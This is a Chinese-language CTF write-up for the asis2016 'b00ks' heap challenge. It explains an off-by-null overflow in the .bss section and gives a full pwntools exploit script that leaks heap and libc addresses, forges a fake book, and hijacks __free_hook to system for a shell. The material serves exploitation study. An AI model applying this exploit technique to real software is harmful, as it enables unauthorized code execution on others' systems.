[堆入门off-by-null]asis2016_b00ks

前言

由于这个题在堆利用里面过于经典了,网上wp千千万,我这里就不再细讲其中的利用方法了,只是说一点细节的东西,这里推几个我看的师傅的文章,下面的内存大部分都是基于Tokameine师傅的wp的。

堆中的 Off-By-One - CTF Wiki (ctf-wiki.org)

[(17条消息) 堆入门off-by-null]asis2016_b00ks_Nashi_Ko的博客-CSDN博客

[(17条消息) Asis CTF 2016] b00ks —— Off-By-One笔记与思考_Tokameine的博客-CSDN博客

free_hook劫持https://lantern.cool/note-pwn-free-hook/#%E4%BE%8B%E5%AD%90

小细节

为了能更好的理解后面的内容建议先看完其他师傅的博客,这里先贴一下我本地打通的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *
import pwnlib

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./b00ks')
#p = remote('node4.buuoj.cn',26505)
p = process('./b00ks')
context.log_level="info"
def init():#off-by-NULL
p.recvline()
p.recvuntil(': ')
p.sendline('A'*32)


def create(name_size, name, desc_size, desc):#创建图书
global p
p.recvuntil('> ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(name_size))
p.recvuntil(': ')
p.sendline(name)
p.recvuntil(': ')
p.sendline(str(desc_size))
p.recvuntil(': ')
p.sendline(desc)

def delete(book_id):#删除图书
global p
p.recvuntil('> ')
p.sendline('2')
p.recvuntil(': ')
p.sendline(str(book_id))

def edit(book_id, desc):#编辑图书的description
global p
p.recvuntil('> ')
p.sendline('3')
p.recvuntil(': ')
p.sendline(str(book_id))
p.recvuntil(': ')
p.sendline(desc)

def printf():#打印图书
global p
p.recvuntil('> ')
p.sendline('4')


def change_author(author):#改变作者,覆盖第一本书的地址
global p
p.recvuntil('> ')
p.sendline('5')
p.recvuntil(': ')
p.sendline(author)

def debug():#debug
gdb.attach(p)
pause()

init()#先off_by-NULL
create(0x40, 'a', 0x20, 'b')#创建第一本书
create(0x21000, 'c', 0x21000, 'd')#用mmap创建第二本书
printf()#打印图书
p.recvuntil('ID: 1')#和下面三行一起获取第一本图书的堆地址
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
#debug()
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))#在第一本书的描述部分伪造fake book
change_author('A'*32)#改变作者,用来改变书的数组中存储的第一本书的地址
printf()#再次打印
p.recvuntil('ID: 1')#读取伪造的fake book里面的内容
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))#这里打印出来的是第二本书的name所在的堆块的开始地址
#debug()
libc_base = book2_addr + (0x7f739b39f000 - 0x7f739b37d010)#通过gdb调试出来当前的libc的基地址减去book2的name的地址就是当前的偏移
print('libc base:' + hex(libc_base))
#elf_base = libc_base + libc.sym['free'] - elf.plt['free']
free_hook = libc.sym['__free_hook'] + libc_base
system = libc.symbols['system'] + libc_base
#free = libc.sym['free'] + libc_base
binsh_addr = libc.search('/bin/sh').next() + libc_base#在libc中寻找“/bin/sh“这个字符串
print("free_hook = "+ hex(free_hook))#因为hook函数在libc的数据段,是属于可以写的,而且在fre函数前会有一个判断函数hook是否为0的判断,如果hook不为0就要先执行hook函数
#print("free = "+ hex(free))
print("system = "+ hex(system))
print("binsh_addr= "+ hex(binsh_addr))
payload = p64(binsh_addr) + p64(free_hook)
edit(1, payload)#将fake book里面我们伪造的描述部分的地址指向的地址上的值改为bin/sh 和 free_hook,为后面劫持free_hook做准备
#debug()
payload = p64(system)
edit(2, payload)
debug()

delete(2)
p.interactive()

0x00漏洞原理

大概的漏洞原理无非就是没有控制好输入,存在栅栏错误,或者字符串操作错误,导致溢出了一个字节,覆盖了内存的下一个字节。

这个题漏洞的主要构成原理就是输入的作者姓名和那本书存放的数组都是存放在bss段的,而且相邻,如果溢出了姓名就会导致覆盖到第一本书籍的存放位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.bss:000055DFF7802040 name            db    ? ;               ; DATA XREF: .data:author_name↑o
.bss:000055DFF7802041 db ? ;
.bss:000055DFF7802042 db ? ;
.bss:000055DFF7802043 db ? ;
.bss:000055DFF7802044 db ? ;
.bss:000055DFF7802045 db ? ;
.bss:000055DFF7802046 db ? ;
.bss:000055DFF7802047 db ? ;
.bss:000055DFF7802048 db ? ;
.bss:000055DFF7802049 db ? ;
.bss:000055DFF780204A db ? ;
.bss:000055DFF780204B db ? ;
.bss:000055DFF780204C db ? ;
.bss:000055DFF780204D db ? ;
.bss:000055DFF780204E db ? ;
.bss:000055DFF780204F db ? ;
.bss:000055DFF7802050 db ? ;
.bss:000055DFF7802051 db ? ;
.bss:000055DFF7802052 db ? ;
.bss:000055DFF7802053 db ? ;
.bss:000055DFF7802054 db ? ;
.bss:000055DFF7802055 db ? ;
.bss:000055DFF7802056 db ? ;
.bss:000055DFF7802057 db ? ;
.bss:000055DFF7802058 db ? ;
.bss:000055DFF7802059 db ? ;
.bss:000055DFF780205A db ? ;
.bss:000055DFF780205B db ? ;
.bss:000055DFF780205C db ? ;
.bss:000055DFF780205D db ? ;
.bss:000055DFF780205E db ? ;
.bss:000055DFF780205F db ? ;
.bss:000055DFF7802060 bOOks db ? ; ; DATA XREF: .data:BOOKS↑o

0x01获取libc地址的方法

因为我们需要劫持__free_hook函数来get shell,于是需要获得libc的基地址,这里用到一个小技巧,通过mmap分配的堆块与libc存在某种固定的偏移关系,当需分配的堆块大于等于0x21000时,会用mmap来分配堆块,只需要泄露分配的堆块的地址减去gdb调试时调试出来的libc基地址就可以得到相对的偏移。

0x02伪造fake book

因为我们可以对书的描述部分进行编辑,也可以通过在创建书籍后修改作者姓名造成off-by-null来改写第一本书的地址,地址后缀改为了00结尾,于是我们在结尾为00前面和第一本书的地址相同的地方伪造fake book。

image-20220518173659126

image-20220518175542368

修改作者姓名后

image-20220518175654796

0x03gdb调试的方法

我刚开始调试那个文件的时候发现b main无法使用,这是由于程序经过了strip处理,没有debug信息,但是b __libc_start_main函数是可以定位到的,而且libc_start_main函数的第一个参数就是main函数的地址,因此通过定位 __libc_start_main函数,然后获得第一个参数的内容,此时就是main函数的地址。由于64位传参顺序为rdi,rsi,rdx,rcx,r8,r9于是只需要在 b *$rdi 即可在main函数下断点。

具体原理可以看这篇博客gdb无法找到main | PCB Blog (binpang.me)

0x04为什么不能劫持free函数

这个问题有点小白,但是确实是我当时想到的问题,为什么不直接劫持free函数,来getshell ,后来查看相关的资料才知道原因

因为__malloc_hook,__realloc_hook,和__free_hook函数都是函数指针变量,属于一个变量,是属于可以更改的范围,页的设置也是可写的,但是free函数就不是,在libc里面free函数也是在不能修改的页中的。

image-20220518181327633

image-20220518181417124

用vmmap查看该页的属性,发现该页是可以写的。

劫持__free_hook函数为system函数后,将第二本书的地址修改为/bin/sh字符串的地址,在释放第二本书的name的时候就能getshell。

0x05问题

网上流传的很广的另一个wp是通过hook函数为one_gadget,但是不知道为什么我的one_gadget不能用,貌似我的one_gadget的约束条件没有满足。